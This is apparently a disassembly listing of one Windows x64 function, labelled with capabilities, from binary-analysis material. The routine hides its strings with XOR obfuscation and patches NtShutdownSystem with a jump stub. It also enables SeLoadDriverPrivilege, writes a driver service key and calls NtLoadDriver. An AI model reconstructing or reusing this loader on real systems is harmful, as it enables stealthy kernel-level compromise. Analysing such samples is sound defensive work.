Function at 0x140579c20
Capabilities:
Access peb ldr_data
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x510
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14069d080]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov r12d, edx
xor r13d, r13d
mov r15, qword [0x14069ec98]
mov r14d, 4
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
movabs rbx, 0x2c672f7feb76f4c8
lea edi, [r13 + 1]
mov eax, dword [r14 + rsi]
cmp dword [0x14069edf4], eax
jle 0x140579e70
lea rcx, [0x14069edf4]
call fcn.140626068
cmp dword [0x14069edf4], 0xffffffff
jne 0x140579e70
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rbx
movabs rax, 0x8c3260091f96d1ad
mov qword [rbp + 0x230], rax
movabs rax, 0x2c672f7f8e0e91e6
mov qword [rbp + 0x238], rax
movups xmm0, xmmword [rbp + 0x230]
movdqa xmm1, xmmword [rbp + 0x210]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x430], xmm1
mov ebx, r13d
mov dword [rbp + 0x1d0], r13d
xor r8d, r8d
xor edx, edx
jmp 0x140579d4b
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1d0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1d0]
mov rdx, rax
lea r9, [rbp + 0x1d0]
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140579d15
test eax, eax
jns 0x140579d7e
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140579e64
mov r14d, r13d
cmp dword [rbx], r13d
jbe 0x140579e4d
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], r13
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x140579dbf
lea rcx, [rbp + 0x1e8]
call fcn.14057d00c
lea rcx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rcx, qword [rbp + 0x1e8]
lea rdx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14057a198
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140579e41
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140579e3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14057a1e5
call fcn.1406261b4
add r14d, edi
cmp r14d, dword [rbx]
jb 0x140579d8a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x14069edf4]
call fcn.140626008
mov eax, dword [r14 + rsi]
cmp dword [0x14069ee18], eax
jle 0x140579ea9
lea rcx, [0x14069ee18]
call fcn.140626068
cmp dword [0x14069ee18], 0xffffffff
jne 0x140579ea9
call fcn.140576260
mov qword [0x14069ee40], rax
lea rcx, [0x14069ee18]
call fcn.140626008
mov eax, dword [r14 + rsi]
cmp dword [0x14069edf8], eax
jle 0x140579ee2
lea rcx, [0x14069edf8]
call fcn.140626068
cmp dword [0x14069edf8], 0xffffffff
jne 0x140579ee2
call fcn.140576658
mov qword [0x14069ee20], rax
lea rcx, [0x14069edf8]
call fcn.140626008
cmp qword [0x14069ee40], r13
je 0x14057ae63
cmp qword [0x14069ee20], r13
je 0x14057ae63
lea rcx, [rbp + 0x1e0]
call fcn.1405c2e80
lea rbx, [r15 + r12]
cmp r15, rbx
jae 0x14057a29b
mov r14, qword [0x14069ee20]
mov r12d, 4
mov eax, dword [r12 + rsi]
cmp dword [0x14069e84c], eax
jle 0x140579f73
lea rcx, [0x14069e84c]
call fcn.140626068
cmp dword [0x14069e84c], 0xffffffff
jne 0x140579f73
lea rcx, [0x140639be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14069e908], rax
lea rcx, [0x14069e84c]
call fcn.140626008
mov eax, dword [r12 + rsi]
cmp dword [0x14069e8f8], eax
jle 0x140579fbe
lea rcx, [0x14069e8f8]
call fcn.140626068
cmp dword [0x14069e8f8], 0xffffffff
jne 0x140579fbe
mov edx, 2
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14062a0c0]
call fcn.1406263f4
lea rcx, [0x14069e8f8]
call fcn.140626008
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14057a292
mov dword [rbp + 8], 0x25ff
mov word [rbp + 0xc], r13w
mov qword [rbp + 0xe], r14
mov rcx, qword [0x14069e8a8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.140577dc4
mov rcx, qword [0x14069e8a8]
mov r8d, r14d
lea rdx, [rbp + 8]
call fcn.140577f50
mov rax, qword [0x14069e908]
mov rcx, r15
call rax
mov r12, rax
mov rcx, qword [0x14069e8a8]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.140577f50
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r14, qword [0x14069ee40]
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x14069e84c], eax
jle 0x14057a09e
lea rcx, [0x14069e84c]
call fcn.140626068
cmp dword [0x14069e84c], 0xffffffff
jne 0x14057a09e
lea rcx, [0x140639be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14069e908], rax
lea rcx, [0x14069e84c]
call fcn.140626008
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x14069e8f8], eax
jle 0x14057a0ed
lea rcx, [0x14069e8f8]
call fcn.140626068
cmp dword [0x14069e8f8], 0xffffffff
jne 0x14057a0ed
mov edx, 2
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14062a0c0]
call fcn.1406263f4
lea rcx, [0x14069e8f8]
call fcn.140626008
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14057a289
mov dword [rbp + 0x18], 0x25ff
mov word [rbp + 0x1c], r13w
mov qword [rbp + 0x1e], r14
mov rcx, qword [0x14069e8a8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x210]
call fcn.140577dc4
mov rcx, qword [0x14069e8a8]
mov r8d, r14d
lea rdx, [rbp + 0x18]
call fcn.140577f50
mov rax, qword [0x14069e908]
mov rcx, r15
call rax
mov r14, rax
mov rcx, qword [0x14069e8a8]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x210]
call fcn.140577f50
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, r12
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x1e0]
call fcn.1405c3594
test al, al
jne 0x14057a1f6
xor eax, eax
jmp 0x14057a1fd
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140579e5e
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14057a1ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057a1ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
jmp 0x140579e5e
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x1d8], rax
mov r9d, 8
mov r8, r14
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1e0]
call fcn.1405c3594
test al, al
jne 0x14057a228
xor eax, eax
jmp 0x14057a22f
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x1d8]
shr rax, 7
test rdi, rax
cmovne r14, r12
lea r8, [rbp + 0x248]
lea rcx, [rbp + 0x1d8]
cmovne r8, rcx
mov r9d, 8
mov rdx, r14
lea rcx, [rbp + 0x1e0]
call fcn.1405c3c68
mov r12d, 0x1000
add r15, r12
cmp r15, rbx
jb 0x140579f15
mov r14d, 4
jmp 0x14057a2a1
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov r12d, 0x1000
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x440], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x448], rax
movabs rax, 0x847220511e9cd6b6
mov qword [rbp + 0x250], rax
movabs rax, 0x2c672f7feb7698a4
mov qword [rbp + 0x258], rax
movups xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
lea rcx, [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
lea r9, [rbp + 2]
lea r8, [0x140640370]
lea rdx, [0x140639d20]
lea rcx, [rbp + 0x250]
call fcn.14057cc68
nop
mov eax, dword [r14 + rsi]
cmp dword [0x14069e914], eax
jle 0x14057a368
lea rcx, [0x14069e914]
call fcn.140626068
cmp dword [0x14069e914], 0xffffffff
jne 0x14057a368
lea rcx, [0x14069e914]
call fcn.140626008
mov r14d, reloc.WS2_32.dll_recv
mov r8d, r14d
lea rdx, [rbp + 0x210]
lea rcx, [0x14069e8f0]
call fcn.1405774f8
nop
lea rcx, [rbp + 0x190]
call fcn.140575cbc
nop
lea r8, [rbp + 3]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call fcn.14057c7cc
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xe0]
call fcn.14057bf50
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.14057bf64
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, r14
jb 0x14057a408
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, r12
jb 0x14057a403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057a403
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], r13b
lea rcx, [rbp + 0x190]
call fcn.14057c4ec
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x320]
call fcn.14062736c
lea rcx, [rbp + 0x2b8]
call fcn.140575f10
mov dword [rsp + 0x20], edi
mov r15d, 0x40
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.14057b04c
nop
mov r8, qword [rbp + 0x258]
mov rdx, qword [rbp + 0x250]
sub r8, rdx
lea rcx, [rbp + 0x320]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x320]
call fcn.14057afbc
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x150]
call fcn.14057bf1c
mov qword [rbp + 0x1d8], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d8]
lea edx, [r15 - 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14057a4d3
mov bl, dil
jmp 0x14057a551
mov qword [rbp + 0x240], r13
lea rcx, [rbp + 0x150]
call fcn.14057c550
lea r8, [rbp + 0x240]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14057a4ce
mov dword [rbp + 0x230], edi
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x234], rax
mov dword [rbp + 0x23c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, r14d
lea r8, [rbp + 0x230]
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14057a4ce
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, r13b
lea rcx, [rbp + 0x150]
call fcn.14057c4ec
test bl, bl
je 0x14057a573
mov bl, r13b
movabs rsi, 0x2c672f7feb76f4c8
jmp 0x14057ab68
xor r8d, r8d
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x1b0]
call fcn.14057ca50
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140575b08
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.14057c7cc
nop
lea r8, [rbp + 0xc0]
lea rdx, [0x140639b84]
lea rcx, [rbp + 0x100]
call fcn.14057c990
mov rsi, rax
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x460], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x468], rax
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x470], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x478], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x480], rax
movabs rcx, 0xaee7a74b96b345dc
mov qword [rbp + 0x488], rcx
movabs rax, 0xa3007f07188adc90
mov qword [rbp + 0x30], rax
movabs rax, 0x43245b118e0486bd
mov qword [rbp + 0x38], rax
movabs rax, 0xcf8af09cafe79fdb
mov qword [rbp + 0x40], rax
movabs rax, 0x644d0b5bffc435f6
mov qword [rbp + 0x48], rax
movabs rax, 0x5fd3425e93a948a4
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rcx
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x50]
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0x480]
vpxor xmm0, xmm0, xmm2
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1e8]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1e8]
call fcn.14057bf50
lea rcx, [rbp + 0x1e8]
call fcn.140575f10
lea r8, [rbp + 0x1d0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14057a756
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x14057a74e
inc rdx
mov rcx, qword [rbp + 0x1e8]
cmp rdx, r12
mov rax, rcx
jb 0x14057a749
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14057a87e
call fcn.1406261b4
mov bl, r13b
jmp 0x14057a88a
mov byte [rbp + 0x1e3], dil
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e3]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14057a712
mov byte [rbp + 0x1e2], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e2]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14057a712
mov byte [rbp + 0x1e1], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e1]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14057a712
mov rbx, qword [rsi + 0x10]
mov rcx, rsi
call fcn.140575f10
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14057a712
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x14057a88a
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, r12
jb 0x14057a885
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057a885
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
mov byte [rbp + 0x1e8], r13b
movdqu xmmword [rbp + 0x1f8], xmm0
mov rdx, qword [rbp + 0x118]
cmp rdx, r14
jb 0x14057a8e0
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, r12
jb 0x14057a8db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057a8db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, r14
jb 0x14057a936
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, r12
jb 0x14057a931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057a931
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r13b
lea rcx, [rbp + 0x170]
call fcn.14057c4ec
nop
lea rcx, [rbp + 0x1b0]
call fcn.14057c4ec
movabs rsi, 0x2c672f7feb76f4c8
test bl, bl
jne 0x14057a97c
mov bl, r13b
jmp 0x14057ab68
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], rsi
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x470], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x478], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x480], rax
movabs rax, 0xaee7a74b96b345dc
mov qword [rbp + 0x488], rax
movabs rax, 0xabd9415cf72d7259
mov qword [rbp + 0x490], rax
movabs rcx, 0xca4e29a958afbdfe
mov qword [rbp + 0x498], rcx
movabs rax, 0x9228610b0b9cf79f
mov qword [rbp + 0x30], rax
movabs rax, 0x420e471c8a3ba8b1
mov qword [rbp + 0x38], rax
movabs rax, 0xd68ad783b9c6b7d0
mov qword [rbp + 0x40], rax
movabs rax, 0x7540075fffd425f6
mov qword [rbp + 0x48], rax
movabs rax, 0xcbf2d2ce7c77b94
mov qword [rbp + 0x50], rax
movabs rax, 0xc791d52ec5ef31b9
mov qword [rbp + 0x58], rax
movabs rax, 0xabd9415cab5e173a
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rcx
mov r8, r15
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x298]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x298]
call fcn.14057bf50
lea rcx, [rbp + 0x298]
call fcn.140575f10
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, dil
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2b0]
cmp rdx, r14
jb 0x14057ab51
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, r12
jb 0x14057ab4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057ab4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0x2a8], xmm0
mov byte [rbp + 0x298], r13b
mov byte [rbp], bl
lea r9, [rbp + 0x210]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x2f8]
call fcn.14057d7bc
nop
lea rcx, [rbp + 0x3c8]
call fcn.14057aff0
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, r14
jb 0x14057abdf
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, r12
jb 0x14057abda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057abda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0x2c8], xmm0
mov byte [rbp + 0x2b8], r13b
mov rdx, qword [rbp + 0x228]
cmp rdx, r14
jb 0x14057ac35
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, r12
jb 0x14057ac30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057ac30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], r13b
lea rcx, [rbp + 0x250]
call fcn.14057bcfc
nop
cmp byte [rbp + 0x318], r13b
jne 0x14057acd3
lea rcx, [rbp + 0x30]
call fcn.14057c0a0
nop
mov qword [rbp + 0x270], r13
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.14057bfc8
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, r14
jb 0x14057acbd
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x14057acb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057acb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1406261b4
movdqa xmm0, xmmword [0x14068d480]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r13b
jmp 0x14057ad69
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x438], rsi
movabs rax, 0xe0135b2530d7f99f
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rsi
movups xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x430], xmm0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14069e8a0], rax
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x278]
call fcn.14057bfc8
nop
lea rcx, [rbp + 0x2f8]
call fcn.140575374
nop
cmp qword [rbp + 0x270], r13
je 0x14057ae15
cmp qword [rbp + 0x288], r13
je 0x14057ae15
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x120]
call fcn.14057bfc8
mov rbx, rax
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14057adcd
mov rcx, rbx
call fcn.1405776c4
test al, al
mov sil, dil
jne 0x14057add0
mov sil, r13b
mov rdx, qword [rbx + 0x18]
cmp rdx, r14
jb 0x14057ae01
mov rcx, qword [rbx]
inc rdx
cmp rdx, r12
jb 0x14057adfc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14057ae52
mov rcx, r8
call fcn.1406261b4
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r13b
test sil, sil
jne 0x14057ae18
mov dil, r13b
mov rdx, qword [rbp + 0x290]
cmp rdx, r14
jb 0x14057ae5e
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, r12
jb 0x14057ae59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14057ae59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1406261b4
mov al, dil
jmp 0x14057ae65
xor al, al
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140625ec0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret